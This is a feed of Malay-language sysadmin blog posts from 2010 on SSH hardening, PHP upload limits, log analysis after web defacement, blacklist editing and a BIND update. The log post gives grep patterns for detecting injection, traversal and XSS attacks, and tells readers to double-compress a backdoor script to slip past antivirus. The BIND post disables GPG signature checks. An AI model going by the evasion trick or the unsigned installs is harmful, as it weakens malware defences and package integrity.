style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="font-weight: normal; margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Pastikan OpenSSH  sentiasa dikemaskini dengan versi terkini&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;b&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;#  yum &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;update&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;  openssh-server&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="font-weight: normal; margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Menetapkan masa idle  akses menerusi ssh dilimitkan. Ini bertujuan bagi mengelakkan  kemungkinan orang sekeliling yang membuat sesuatu menggunakan  pengguna yg akses menerusi ssh apabila pengguna sebenar tiada di  meja.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;LoginGraceTime  2m&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="font-weight: normal; margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Menetapkan polisi  jumlah cubaan yang dibenarkan sebelum di halang akses menerusi ssh  pada server. Ini bagi mengelakkan sebarang cubaan brute force  menerusi ssh.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;MaxAuthTries  5&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;* Tukar port default ssh dari 22 kepada port lain yang tidak digunakan servis lain dan mudah nak ingat.Ini bertujuan memastikan port biasa digunakan sukar diketahui hackerz untuk menyerang menggunakan port ssh tersebut. &lt;br /&gt;Tukar :&lt;br /&gt;#Port 22&lt;br /&gt;Kepada :&lt;br /&gt;Port 775 (contoh)&lt;br /&gt;&lt;br /&gt;Semoga berjaya&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-8671798229299543246?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/8671798229299543246/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=8671798229299543246&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/8671798229299543246'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/8671798229299543246'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2010/10/configure-secured-ssh.html' title='Configure a Secured SSH'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_Pk16G7RhVRE/TLQ1X-k_JxI/AAAAAAAAAp4/PIm132OFMXg/s72-c/ssh.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-2760743990340523272</id><published>2010-10-08T09:31:00.000+08:00</published><updated>2010-10-08T09:31:54.843+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Command Line'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>I can't upload big size in PHP Application</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pk16G7RhVRE/TK50eSq2XTI/AAAAAAAAAp0/i23OW3uwVPc/s1600/php-mysql.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_Pk16G7RhVRE/TK50eSq2XTI/AAAAAAAAAp0/i23OW3uwVPc/s1600/php-mysql.gif" /&gt;&lt;/a&gt;&lt;/div&gt;Just short shares info, terlintas di fikiran...ehehe&lt;br /&gt;&lt;br /&gt;Sekiranya kita ada bangunkan satu sistem aplikasi PHP yang mengandungi fungsi upload fail ke satu direktori di server atau gunakan kaedah upload dan simpan di DB MySQL. So kita nak enablekan boleh upload sehingga limit kepada 200MB saiz fail. Ini kerana sistem ni hanya guna INTRANET sahaja. So confirm laju.&lt;br /&gt;&lt;br /&gt;By default konfigurasi php.ini adalah membenarkan upload fail sebesar 8MB sahaja. Untuk membolehkan upload data yang besar, kita perlu ubah fail php.ini.&lt;br /&gt;&lt;br /&gt;OS : CentOs / RHEL&lt;br /&gt;PHP : 5.3.x&lt;br /&gt;&lt;br /&gt;1) Edit fail php.ini di /etc/php.ini&lt;br /&gt;&lt;br /&gt;Cari 'memory_limit' dan tukarkan kepada 220MB # lebihkan jumlah sepatutnya&lt;br /&gt;Cari 'upload_max_filesize' dab tukarkan kepada 220MB # lebihkan jumlah sepatutnya&lt;br /&gt;Cari 'post_max_size' dab tukarkan kepada 220MB # lebihkan jumlah sepatutnya&lt;br /&gt;2) Save dan exit&lt;br /&gt;3) Seterusnya restart httpd. /etc/init.d/httpd restart&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Untuk upload ke MySQL pula :&lt;br /&gt;1) Edit fail my.cnf. /etc/my.cnf &lt;br /&gt;Cari 'max_allowed_packet' dan tukarkan kepada 220MB&lt;br /&gt;Sekiranya tiada, tambahkannya di dalam fail tersebut.&lt;br /&gt;2) Save dan exit&lt;br /&gt;3) Seterusnya restart mysqld. /etc/init.d/mysqld restart&lt;br /&gt;&lt;br /&gt;Semoga berjaya !!! &lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-2760743990340523272?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/2760743990340523272/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=2760743990340523272&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/2760743990340523272'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/2760743990340523272'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2010/10/i-cant-upload-big-size-in-php.html' title='I can&apos;t upload big size in PHP Application'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_Pk16G7RhVRE/TK50eSq2XTI/AAAAAAAAAp0/i23OW3uwVPc/s72-c/php-mysql.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-3066833591354827619</id><published>2010-10-07T17:09:00.001+08:00</published><updated>2010-10-21T11:02:30.847+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Command Line'/><category scheme='http://www.blogger.com/atom/ns#' term='ICT Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>How to analyze log file to find hackerz activities</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pk16G7RhVRE/TK2OMLfCneI/AAAAAAAAApw/RfzdwjOLwYo/s1600/logo_hackerz.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_Pk16G7RhVRE/TK2OMLfCneI/AAAAAAAAApw/RfzdwjOLwYo/s1600/logo_hackerz.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Pada masa kini kejadian web defacement atau kehilangan data melalui sistem aplikasi online sebenarnya sering berlaku. Sama ada ianya diketahui umum (hebahan menerusi website zone-H) ataupun dirahsiakan atas sebab keselamatan. Ianya berlaku bukanlah disebabkan hackerz yang terlebih pandai tapi akibat kelemahan kawalan dan pemantauan oleh admin sistem aplikasi tersebut.&lt;br /&gt;&lt;br /&gt;Salah satu kaedah untuk pemantauan ini adalah menerusi semakan pada log fail web server.&lt;br /&gt;&lt;br /&gt;Pada asasnya apabila kita setup web server apache, access.log akan sedia ada terbina dan disimpan di /var/log/httpd/&lt;br /&gt;&lt;br /&gt;OS : CentOS / RHEL&lt;br /&gt;Web Server : Apache&lt;br /&gt;&lt;br /&gt;Namun sekiranya web server kita merupakan hosting kepada banyak vhost maka ianya akan memeritkan lagi kerja server admin bagi membuat analisa kepada fail log sekiranya berlaku sebarang web defacement atau data hilang menerusi salah satu vhost di server tersebut.&lt;br /&gt;&lt;br /&gt;Kelebihan 1 log file untuk semua vhost :&lt;br /&gt;1) Mudah untuk penyimpanan atau backup data kerana ianya disimpan setempat&lt;br /&gt;2) Memudahkan carian sebarang maklumat dari log fail kerana disimpan setempat&lt;br /&gt;&lt;br /&gt;Kelemahan 1 log file untuk semua vhost :&lt;br /&gt;1) Menyusahkan kerja admin untuk analisa log file&lt;br /&gt;2) Default log rotate adalah 4 file, bagi file ke 5 akan di delete rotate file terakhir dan juga terdapat limit saiz bagi setiap fail log. Ini mengakibatkan kemungkinan data untuk dianalisa telah hilang sekiranya rotate fail telah dipadamkan akibat log file server menyimpan vhost yang banyak.&lt;br /&gt;3) Sekiranya fail tersebut di delete, maka semua fail log vhost lain turut sama di delete&lt;br /&gt;&lt;br /&gt;Kaedah untuk create unik log file bagi setiap vhost dilaksanakan di fail vhost di setiap web server dengan menggunakan script berikut :&lt;br /&gt;fail : /etc/httpd/conf/httpd.conf&lt;br /&gt;Tambah row ErrorLog dan CusomLog&lt;br /&gt;-------------------------------------&lt;br /&gt;&lt;virtualhost _default_:80=""&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ServerAdmin admin@server.com&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; DocumentRoot /var/www/html/finance&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ServerName finance.org&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ErrorLog logs/finance-error_log&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; CustomLog logs/finance-access_log common&lt;/virtualhost&gt;&lt;br /&gt;-------------------------------------&lt;br /&gt;&lt;br /&gt;Namun bagi kes hanya 1 access.log file sahaja. Boleh gunakan kaedah berikut :&lt;br /&gt;&lt;br /&gt;1) Kenalpasti tarikh insiden hackerz buat web defacement berlaku&lt;br /&gt;&lt;br /&gt;2) Run command berikut : &lt;br /&gt;# grep "03/Sep/2010" /var/log/httpd/access.log &amp;gt; hack0309.txt&lt;br /&gt;- filter row yang memaparkan tarikh 3 September 2010 dan simpan di fail hack0309.txt&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3) Sekiranya ada spesifik masa insiden berlaku maka run command berikut :&lt;br /&gt;# grep "03/Sep/2010:13:2" /hack0309.txt &amp;gt; hack0309-120PTG.txt&lt;br /&gt;- filter row yang memaparkan tarikh 3 September 2010 dan pada jam 1 :20 ptg hingga 1:29 ptg dan simpan di fail hack0309-120PTG.txt&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Maka anda perlu analisa dari log tersebut sebarang kod status 200 (berjaya akses) dan kenalpasti sebarang aktiviti mencurigakan seperti POST atau GET dari log file tersebut kepada folder tertentu yang dikenalpasti tempat hackerz membuat web defacement.&amp;nbsp; &lt;br /&gt;&lt;br /&gt;Kadangkala hackerz ada memasukkan fail backdoor script ke dalam server dan sekiranya kita cuba untuk download ke pc kita yang ada antivirus confirm akan detect sebagai trojan.backdoor (SEP11).&lt;br /&gt;&lt;br /&gt;Oleh itu, laksana command berikut :&lt;br /&gt;&lt;br /&gt;1) # gzip index.php&lt;br /&gt;- gzip fail tersebut&lt;br /&gt;&lt;br /&gt;2) # tar -cvf index.tar /var/www/www_kuarantin/saspekQ/1msia1phg/images/index.php.gz&lt;br /&gt;- zipkan kali kedua dengan tar fail gzip tadi. Kebiasaannya antivirus jarang detect fail in depth zip dengan lebih dari 1 lapisan zip.&lt;br /&gt;&lt;br /&gt;3) Transfer fail ke PC anda dan tiada lagi antivirus detect fail tersebut lalu delete atau kuarantinkannya.&lt;br /&gt;&lt;br /&gt;Untuk kenalpasti jenis serangan :&lt;br /&gt;Baca file log dari pc Windows &lt;br /&gt;1) File Inclusion&lt;br /&gt;# findstr /c:"=http" (nama file) &amp;gt; (output file)&lt;br /&gt;&lt;br /&gt;2) Directory Traversal&lt;br /&gt;# findstr /c:"../" (nama fail) &amp;gt; (output file)&lt;br /&gt;&lt;br /&gt;3) SQL Injection&lt;br /&gt;# findstr /c:"UNION" (nama fail) &amp;gt; (output file)&lt;br /&gt;&lt;br /&gt;4) XSS&lt;br /&gt;# findstr /c:"(script)" (nama fail) &amp;gt; (output file)&lt;br /&gt;&lt;br /&gt;Search : ganti '(' dengan '&lt;' dan ')' dengan '&gt;'&lt;br /&gt;&lt;br /&gt;/c = search string&lt;br /&gt;&lt;br /&gt;Semoga berjaya!!!&lt;br /&gt;~ Be a Creator Not a User ~&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-3066833591354827619?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/3066833591354827619/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=3066833591354827619&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/3066833591354827619'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/3066833591354827619'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2010/10/how-to-analyze-log-file-to-find-hackerz.html' title='How to analyze log file to find hackerz activities'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_Pk16G7RhVRE/TK2OMLfCneI/AAAAAAAAApw/RfzdwjOLwYo/s72-c/logo_hackerz.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-8150139756553395547</id><published>2010-10-07T14:18:00.000+08:00</published><updated>2010-10-07T14:18:42.429+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Command Line'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>How to delete a row of words in a file using command line</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Pk16G7RhVRE/TK1l-hUKbRI/AAAAAAAAApo/cZMmLr7-mlg/s1600/cmd.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://4.bp.blogspot.com/_Pk16G7RhVRE/TK1l-hUKbRI/AAAAAAAAApo/cZMmLr7-mlg/s320/cmd.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;Seronoknya dapat menaip artikel semula..&lt;br /&gt;Aku nak terangkan kaedah untuk kita cari dan delete row dalam fail menggunakan command line.&lt;br /&gt;Aku gunakan ni pada server proxy aku yang guna dansguardian. So dalam tu ada banyak senarai site blacklist berdasarkan kategori. Sesetengah domain di masukkan dalam pelbagai kategori. So aku kena cari kaedah nak cari dari pelbagai fail dan padam nama domain tu padanya.&lt;br /&gt;&lt;br /&gt;OS : CentOS / RHEL&lt;br /&gt;Svr Function : Proxy + Dansguardian&lt;br /&gt;BlackList : BigBlacklist&lt;br /&gt;&lt;br /&gt;SEARCH AND DELETE A ROW :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Berikut aturan untuk melaksanakannya :&lt;br /&gt;(Sekiranya guna selain bigblacklist, tukar sahaja path tersebut)&lt;br /&gt;&lt;br /&gt;1) # grep -R 'facebook.com' /etc/dansguardian/bigblacklists/ &amp;gt; fb.txt&lt;br /&gt;- filter semua file dalam dir bigblacklists dan simpan dalam fail fb.txt&lt;br /&gt;&lt;br /&gt;2) # more fb.txt&lt;br /&gt;- baca fail fb.txt untuk kenalpasti path untuk fail yang ada word 'facebook.com'&lt;br /&gt;&lt;br /&gt;3) # mv /etc/dansguardian/bigblacklists/chat/domains /etc/dansguardian/bigblacklists/chat/domainsold&lt;br /&gt;- rename nama fail asal kpd nama lain&lt;br /&gt;&lt;br /&gt;4) # sed '/facebook.com/d' /etc/dansguardian/bigblacklists/chat/domainsold &amp;gt; /etc/dansguardian/bigblacklists/chat/domains&lt;br /&gt;- delete row mengandungi 'facebook.com' dan simpan ke dalam fail nama asal&lt;br /&gt;&lt;br /&gt;SEARCH AND REPLACE WORDS :&lt;br /&gt;&lt;br /&gt;Sekiranya aku nak cari dan replace dengan wording tertentu.. macam search and replace function dalam kebanyakan perisian atau windows. Tapi ni guna command line.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Berikut aturan untuk melaksanakannya :&lt;br /&gt;(Sekiranya guna selain bigblacklist, tukar sahaja path tersebut)&lt;br /&gt;&lt;br /&gt;1) # grep -R 'facebook.com' /etc/dansguardian/bigblacklists/ &amp;gt; fbchg.txt&lt;br /&gt;- filter semua file dalam dir bigblacklists dan simpan dalam fail fbchg.txt&lt;br /&gt;&lt;br /&gt;2) # more fbchg.txt&lt;br /&gt;- baca fail fbchg.txt untuk kenalpasti path untuk fail yang ada word 'facebook.com'&lt;br /&gt;&lt;br /&gt;3) # mv /etc/dansguardian/bigblacklists/chat/domains /etc/dansguardian/bigblacklists/chat/domainsold&lt;br /&gt;- rename nama fail asal kpd nama lain&lt;br /&gt;&lt;br /&gt;4) # sed 's/facebook.com/pahang2.my/g' /etc/dansguardian/bigblacklists/chat/domainsold &amp;gt; /etc/dansguardian/bigblacklists/chat/domains&lt;br /&gt;- search nama words dan replace dengan words yang diinginkan dan simpan ke dalam fail nama asal&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Semoga berjaya...banyak lagi tips aku KIV ni...ergh..to much work make me unwell for a while..alhamdulillah i'm recover..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-8150139756553395547?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/8150139756553395547/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=8150139756553395547&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/8150139756553395547'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/8150139756553395547'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2010/10/how-to-delete-row-of-words-in-file.html' title='How to delete a row of words in a file using command line'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_Pk16G7RhVRE/TK1l-hUKbRI/AAAAAAAAApo/cZMmLr7-mlg/s72-c/cmd.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-8485447053426909343</id><published>2010-09-14T11:38:00.001+08:00</published><updated>2011-06-20T08:56:03.177+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DNS'/><category scheme='http://www.blogger.com/atom/ns#' term='Command Line'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='RedHat'/><title type='text'>How to Update Bind from RPM</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_Pk16G7RhVRE/TI7uPIcaoeI/AAAAAAAAApY/VTLPryGbah8/s1600/bind.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_Pk16G7RhVRE/TI7uPIcaoeI/AAAAAAAAApY/VTLPryGbah8/s320/bind.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;Kali ni aku nak citer macamana nak update BIND dari versi 9.5.2-P3 kepada versi&amp;nbsp; 9.5.2-P4. Kalau ikutkan memang agak kebelakang skit versi tu berbanding versi terbaru 9.7.x dah skang ni. Tapi ni sebab aku baru tau cara nak update patch tu sebab BIND memang sering jadi sasaran kepada pelbagai serangan dan terbaru DNS Poisoning. So be prepare. Versi 9.5 ke atas memang ada fungsi tu dah.&lt;br /&gt;&lt;br /&gt;Sebelum kita update make sure buat backup dulu kat semua folder dan fail-fail utama server BIND tu kang apa2 berlaku leh revert semula..&lt;br /&gt;&lt;br /&gt;Fail utk backup :&lt;br /&gt;1) /var/lib/named/ (domain zone here)&lt;br /&gt;2) /etc/named/ (all configuration file here)&lt;br /&gt;3) /etc/sysconfig/named (detail configuration file - optional if only changed)&lt;br /&gt;4) /etc/rc.d/init.d/named (bind program  - optional if only changed)&lt;br /&gt;&lt;strike&gt;5) /usr/sbin/named&lt;/strike&gt;&lt;br /&gt;&lt;strike&gt;6) /usr/sbin/named-checkconf&lt;/strike&gt;&lt;br /&gt;7) /var/log/named/ (all log file on bind - optional to restore but needed to analyze)&lt;br /&gt;8) /var/run/named/ (store the named.pid file - optional)&lt;br /&gt;&lt;br /&gt;* berakhir dengan / bermaksud folder, jika tidak bermaksud file&lt;br /&gt;&lt;br /&gt;So semua fail tu dah buat backup. Sekarang kita download RPM dari RPM Pbone.net&lt;br /&gt;&lt;br /&gt;1) Buka putty dan login ke server DNS anda sebagai root&lt;br /&gt;&lt;br /&gt;2) cd /opt (aku suke kita nak download apa2 guna folder /opt)&lt;br /&gt;&lt;br /&gt;3) Download file RPM berkaitan :&lt;br /&gt;&amp;gt; wget ftp://ftp.pbone.net/mirror/ftp.pramberger.at/systems/linux/contrib/rhel5/i386/bind-9.5.2-1.P4.el5.pp.i386.rpm&lt;br /&gt;&lt;br /&gt;&amp;gt; wget ftp://ftp.pbone.net/mirror/ftp.pramberger.at/systems/linux/contrib/rhel5/i386/bind-utils-9.5.2-1.P4.el5.pp.i386.rpm&lt;br /&gt;(Dependency files) &lt;br /&gt;&amp;gt; wget ftp://ftp.pbone.net/mirror/ftp.pramberger.at/systems/linux/contrib/rhel5/x86_64/bind-libs-9.5.2-1.P4.el5.pp.i386.rpm&lt;br /&gt;(Dependency files)&lt;br /&gt;&lt;br /&gt;4) nano /etc/yum.conf&lt;br /&gt;Tukar kepada&amp;nbsp; :&lt;br /&gt;&lt;b&gt;gpgcheck=0&lt;/b&gt;&lt;br /&gt;&amp;nbsp;seterusnya save, tekan ctrl+x dan taip 'y' seterusnya enter&lt;br /&gt;# Tujuannya adalah untuk elak dari keluar error mesej berikut :&lt;br /&gt;Public key for bind-libs-9.5.2-1.P4.el5.pp.i386.rpm is not installed &lt;br /&gt;# Nanti dah setel enablekan semula gpgcheck tu sebab ia penting agar kita dapat key sumber yang sah dan sebenarnya..&lt;br /&gt;&lt;br /&gt;5) Stop BIND&lt;br /&gt;&amp;gt; /etc/init.d/named stop&lt;br /&gt;&lt;br /&gt;Kemudian run yum&lt;br /&gt;&amp;gt; yum update bind*&lt;br /&gt;&lt;br /&gt;6) Biarkan sampai keluar mesej berikut :&lt;br /&gt;Setting up Update Process&lt;br /&gt;Examining bind-9.5.2-1.P4.el5.pp.i386.rpm: 30:bind-9.5.2-1.P4.el5.pp.i386&lt;br /&gt;Marking bind-9.5.2-1.P4.el5.pp.i386.rpm as an update to 30:bind-9.5.2-1.P3.el5.pp.i386&lt;br /&gt;Examining bind-libs-9.5.2-1.P4.el5.pp.i386.rpm: 30:bind-libs-9.5.2-1.P4.el5.pp.i386&lt;br /&gt;Marking bind-libs-9.5.2-1.P4.el5.pp.i386.rpm as an update to 30:bind-libs-9.5.2-1.P3.el5.pp.i386&lt;br /&gt;Examining bind-utils-9.5.2-1.P4.el5.pp.i386.rpm: 30:bind-utils-9.5.2-1.P4.el5.pp.i386&lt;br /&gt;Marking bind-utils-9.5.2-1.P4.el5.pp.i386.rpm as an update to 30:bind-utils-9.5.2-1.P3.el5.pp.i386&lt;br /&gt;Resolving Dependencies&lt;br /&gt;Skipping security plugin, no data&lt;br /&gt;--&amp;gt; Running transaction check&lt;br /&gt;---&amp;gt; Package bind-utils.i386 30:9.5.2-1.P4.el5.pp set to be updated&lt;br /&gt;---&amp;gt; Package bind.i386 30:9.5.2-1.P4.el5.pp set to be updated&lt;br /&gt;---&amp;gt; Package bind-libs.i386 30:9.5.2-1.P4.el5.pp set to be updated&lt;br /&gt;--&amp;gt; Finished Dependency Resolution&lt;br /&gt;&lt;br /&gt;Dependencies Resolved&lt;br /&gt;&lt;br /&gt;==========================================================================&lt;br /&gt;&amp;nbsp;Package&amp;nbsp;&amp;nbsp; Arch Version&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Repository&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Size&lt;br /&gt;==========================================================================&lt;br /&gt;Updating:&lt;br /&gt;&amp;nbsp;bind&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; i386 30:9.5.2-1.P4.el5.pp bind-9.5.2-1.P4.el5.pp.i386.rpm&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 327 k&lt;br /&gt;&amp;nbsp;bind-libs i386 30:9.5.2-1.P4.el5.pp bind-libs-9.5.2-1.P4.el5.pp.i386.rpm&amp;nbsp; 1.2 M&lt;br /&gt;&amp;nbsp;bind-utils&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; i386 30:9.5.2-1.P4.el5.pp bind-utils-9.5.2-1.P4.el5.pp.i386.rpm 245 k&lt;br /&gt;&lt;br /&gt;Transaction Summary&lt;br /&gt;==========================================================================&lt;br /&gt;Install&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 Package(s)&lt;br 